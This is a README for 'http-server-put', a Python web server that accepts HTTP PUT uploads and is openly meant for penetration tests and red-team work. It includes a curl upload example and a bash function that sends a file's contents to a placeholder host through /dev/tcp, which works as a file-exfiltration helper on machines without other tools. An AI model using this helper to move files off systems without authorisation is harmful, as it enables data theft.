Extended http.server that supports HTTP PUT method for file upload. Intended for usage in offensive cybersecurity assessments (penetration tests, red team exercises/operations, etc).
http-server-put is a basic web server based on Python 3's http.server.
Features:
- IPv6 support (not dual stack)
- HTTP PUT file upload support, instead of requiring a POST upload page like uploadserver
- Drop-in replacement for http.server (same CLI interface).
You can install http-server-put using pip:
pip install http-server-putOr you can install from the local repository:
pipx install .http-server-put [-h] [--bind ADDRESS] [--directory DIR] [port]
python -m http_server_put [-h] [--bind ADDRESS] [--directory DIR] [port]Binds to the specified ADDRESS and PORT if provided,
otherwise binds to all interfaces by default, on port 8000.
Serves file in the specified DIR if provided,
otherwise serves file in the current working directory.
File upload can be performed through HTTP PUT. Example using curl:
curl -T FILE http://URL:PORTYou can also use a shell (eg. bash) function helper to upload files when no tools are available:
upload() { echo -e "PUT $1 HTTP/1.1\r\nHost: $2\r\nContent-type: text/plain\r\nContent-length: $(ls -la $1 | cut -d' ' -f 5)\r\n\r\n$(cat $1)" > /dev/tcp/$2/$3; }
upload FILE URL PORTIf you are interested in contributing to http-server-put, read the project's contributing guidelines.
http-server-put is licensed under MIT License. For more information, refer to the accompanying license information.